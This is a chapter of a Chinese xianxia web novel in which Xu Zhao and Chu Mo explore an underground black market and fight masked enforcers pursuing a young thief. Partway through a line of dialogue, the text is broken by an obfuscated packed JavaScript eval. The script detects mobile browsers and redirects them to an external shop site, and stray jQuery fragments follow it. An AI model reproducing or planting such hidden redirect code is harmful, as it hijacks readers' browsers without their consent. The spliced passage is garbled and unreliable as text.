晨光微熹,这一通闹的,天亮了。
徐招回到昨日那家店,希望在这里捕捉到一丝关于昨晚事件有用的信息。
她耐心地等待着,每一分,每一秒都显得格外漫长。
正当几乎要放弃,准备离开时,风雪伴随着门扉的吱嘎声打破了店内的宁静。
一行人匆匆进入,带着外面的寒气。
他们径直走向柜台,点了几壶热酒,围坐一桌,低声交谈起来。
“你们昨晚也被那些家伙搜查了?”
其中一人压低声音问道。
“哎,这都快成常态了,三更半夜的敲门声,让人不得安宁。”另一人无奈地摇了摇头。
“听说昨晚又有人遭殃了,是天蝉会的几个家伙,灵矿又被搜走了一批。”
“这天蝉会也是奇怪,明知道黑市和城主联手在蓄养灵脉,还偏偏要去偷那些灵矿,这不是往枪口上撞吗?”有人不解地嘀咕着。
“谁说不是呢?黑市最近也加大了对偷矿贼的追捕力度,可每次把人抓到天蝉会面前,他们都不认账,真是嚣张至极。”
“确实让人摸不着头脑,天蝉会明明在不老城有头有脸,却偏偏要和城主过不去,他们到底在图什么?”
谈话声伴随着酒壶碰撞的清脆声响,徐招在一旁默默听着,心中暗自思量。
城主,黑市,天蝉会,蓄养灵脉,偷盗灵矿.....
还有那个和薛茧长得一模一样的尽大人。
酒声嘈杂,她果断起身,前往今日的目的地——地下黑市。
黑市在不老城不是什么秘密,徐招与楚默来到入口,接过随机代号令牌挂在腰间,分别是玖柒与玖捌。
再佩戴上特制的铁面具与厚重的斗篷,随着人流缓缓深入。
地下灯火通明,两侧是高高的柜台,每一扇柜台后都坐着长相怪异的看守者,悬挂着‘交易行’的牌匾在灯光下泛着幽光。
每个人手里都拿着各种各样的东西去兑换,有的能换得丰厚的黑币回报,有的则一无所获。
徐招两手空空,正在苦恼,却见楚默上前,将自己的剑拍在上面。
柜台后的主人目光锐利,一番审视后,将剑收入身后的秘匣,四只手臂同时运作,记录、数钱,最后将一堆黑币掷于楚默面前,犹如小山。
楚默用将黑币收好,回到徐招身边,“走吧。”
“你的剑....”徐招欲言又止。
楚默并不在意,“无事。”
他掀开斗篷一侧,腰间竟然还挂着另一把剑,
徐招放下心来。
穿过交易行,人声渐密,但依旧保持着一种诡异的低语氛围。
环顾四周,从珍稀药材到神秘丹药,从锋利兵器到珍贵内丹,琳琅满目。
一路看过去不觉深入,被守卫拦下,指向头顶名为‘珍宝堂’的牌匾,冲二人伸出了手。
楚默拿出黑币,按数支付,两人这才得以通行。
珍宝堂内,一只悬挂在半空的半人身兽类尸体,气息已绝,像一个精心制成的标本作为招牌。
从尸体下方经过,每一步都似乎能感受到从四周店铺中渗透出的阴暗之气,它们无形却强烈,让人心生寒意。
离入口不远处的店铺,密密麻麻地排列着琉璃罐,每一个罐子中都囚禁着不同类型的阴魂。
这些阴魂或疯狂嘶吼,捶打着透明的壁障,试图挣脱束缚。
或已习惯这无尽的囚禁,蜷缩成一团,静默无声。
人脸在罐中扭曲变形,映射出无尽的痛苦与绝望。
店铺的主人被厚重的黑袍完全包裹,面容隐匿于黑暗之中,静静地坐在柜台后,那双隐藏在阴影下的眼睛偶尔扫过徐招。
像是被无形的寒冰包裹,寒气直透骨髓。
不止这家,相邻的几家也不遑多让。
徐招强压下心中的不适,一路往前,终于找到了比较正常的东西。
店内摆放着各式各样的法器,品质相比外面的高档很多。
徐招深知自己筑基修为尚浅,首要之务便是迅速提升实力,同时,体内那微不可察的魔气亦需妥善掩藏,以免引来不必要的麻烦。
北若这个地方,因昔日曲风灵与徐景慕铸造魔壶而抽取了大量灵脉,如今已是风雪连绵,灵气大不如前。
正因如此,器修铸造的各种聚灵的法器只有北若最好卖。
楚默踱步打量,发现一物,停下脚步。
此物形似古朴的烛台,通体玄黑,虚空之中,似有细小文字浮现。
仔细一看,原来此物名叫不玉盏,点燃后,能搜寻散落四方的魂魄,只要魂魄尚存于世,便无所遁形。
与此同时,徐招也发现了一件枚由水晶精制而成的薄片。
她好奇地将其对准楚默,不料却突遭一道刺眼白光侵袭,眼睛顿时感到一阵剧痛。
徐招闭着眼,隐忍痛楚,下一刻,一只手掌覆盖在她眼皮上。
片刻之间,痛楚竟奇迹般消散。
睁开眼,楚默已经收回了手,转身浏览其他法器。
徐招盯着他高大的背影看了一会,这才低头,打量着手中的水晶片。
直到这时,水晶片上才缓缓浮现出一行小字:须弥水晶,可观无形,辨有形。
好奇怪的东西。
逛了一会,买好自己需要的东西,正当他们即将离开珍宝堂,再次经过了那家阴魂琉璃罐店时,一个黑袍人的举动吸引了徐招的注意。
对方腰间挂着代号零叁的令牌,正拿着一个罐子端详。
尽管只是匆匆一瞥,徐招却莫名觉得这个人很熟悉。
很快,他拿着罐子就走了,没付钱,店主也不拦着。
徐招远远跟在零叁身后。
对方对周遭的一切漠不关心,仿佛此行只为那个装着阴魂的琉璃罐而来。
离开黑市前,徐招与楚默摘下了黑袍面具及代号腰牌,融入了熙熙攘攘的人群之中,彼此间的身份瞬间变得模糊难辨。
等彻底走出,零叁已不知去向。
忽的,急促的脚步声突兀响起。
余光只看见一道影子扑来,随即瘦小的身影从徐招身前掠过,却在认出她的瞬间,如同抓住了救命稻草般紧紧抱住她的腿,不肯松手。
“好姐姐救我!”
又是那个毛头小子。
此刻的他满脸泪痕,鼻青脸肿,稀疏的头发间露出道道触目惊心的伤痕,一只眼睛肿得几乎睁不开。
徐招试图甩开他的纠缠,但对方却像是黏在了她身上一般,纹丝不动。
他可怜兮兮地喊道:“好姐姐我错了!你救救我吧!”
他的眼睛一直在不停瞟向侧方,一行队伍劈开人群,气势汹汹逼近,他们步伐整齐,散发着不容忽视的煞气。
装束和黑市中人几乎一模一样。
为首者戴着红面具,其余人则统一佩戴白面具,将徐招楚默以及毛头小子团团围住。
红面具直接问徐招
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095898|131908||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“你是他的姐姐?”
徐招一愣,迅速反驳,“我不是。”
“不是?”红面具的语气中透露出一丝意外。
毛头小子似乎意识到了什么,哭声更加凄厉,紧紧缩在徐招身后,不断哀求:“救救我救救我!”
徐招看向红面具,试图了解事情的真相,“他到底做了什么?”
红面具审视了徐招和楚默一番后,冷冷地说道:“他是天蝉会的窃贼,这个月已经多次行窃灵矿。如果你们与他无关,最好立刻离开,不要妨碍我们办事。”
话音刚落,其余白面具便接到命令,一拥而上,试图将毛头小子从徐招身后拉开。
楚默站在一边,本不欲多管。
谁知一名白面具见毛头小子抓的太紧,直接拔出佩刀,企图砍断他的手臂。
但这一刀下去,不说他手臂会不会断,但是攻击范围却将徐招纳入了。
千钧一发之际,一只手抓住了挥来的刀刃,一掌击出,那名白面具瞬间口吐鲜血,倒飞而出。
速度之快,令人咋舌。
这种情况下,一旦出手,局势便如脱缰野马,无可挽回。
白面具蜂拥而上,毛头小子趁机挣脱了束缚,惊恐万分,试图逃离。
但他亲自引来的麻烦,怎么可能让他就此逃离。
徐招迅速揪住他的后领,将他的脸转向自己,虽然笑着却透着不容置疑的威胁:“你给我老实待着,若敢再跑……”
话虽未完,小子已经疯狂点头,誓不敢逃。
松手后,徐招身形灵动地穿梭于战阵之中,躲过袭来的攻击,指尖掐诀,猛然挥出。
顿时,大片灵力汇聚成风暴,将冲在最前的白面具们击飞。
他们还未站稳脚跟,徐招已如影随形,拳头裹挟着力量,精准地击中一人的面部。
随着‘咔嚓’两声脆响,那人的白面具从中间裂开,露出一张略显眼熟的脸庞。
男子眼中满是惊恐,慌忙捂住自己的脸,转身就跑,竟连反击都忘了。
徐招心中正疑惑他为何如此轻易放弃,下一刻,致命的鞭子从身后绞住他的脖子,用力一勒,他脑袋耸拉下去,顿时没了呼吸。
鞭子如灵蛇般缠绕回红面具的手臂,缓缓蠕动。
徐招这才恍然大悟,昨夜抓走毛头小子的鞭子正是出自此人之手。
还好徐招戴了百面相,此时楚默已经早早结束了战斗。
红面具操控的长鞭如同活物,即便徐招身手敏捷,也难以完全摆脱其纠缠。
徐招以掌为剑,奋力劈斩,体术加持下的掌刃锋利无比,理应抗衡。
然,那鞭子却仿佛拥有灵性,总能在她即将触及的瞬间,迅速缠绕上她的手掌出杀招。
楚默赶来,一把抓住了鞭子的末端。
令人惊骇的是,鞭尾竟猛然张开,化作一张布满利齿的巨口。
他反应迅捷,未被其所伤,只是咬掉了手套。
紧接着,楚默掌心涌动起一股磅礴的力量,这股力量沿着鞭子迅速蔓延,使得鞭子剧烈挣扎,仿佛活物般痛苦扭动。
红面具见状不妙,急欲收回长鞭,但为时已晚。
楚默稳如磐石,紧握鞭子的手没有丝毫动摇。
随着一声震耳欲聋的爆响,那看似坚不可摧的鞭子竟在楚默的力量下轰然炸裂,化作无数碎片,其中还夹杂着些许血肉残渣。
红面具愤怒至极,正欲发难,却被一阵冰冷刺骨的铁蹄声打断。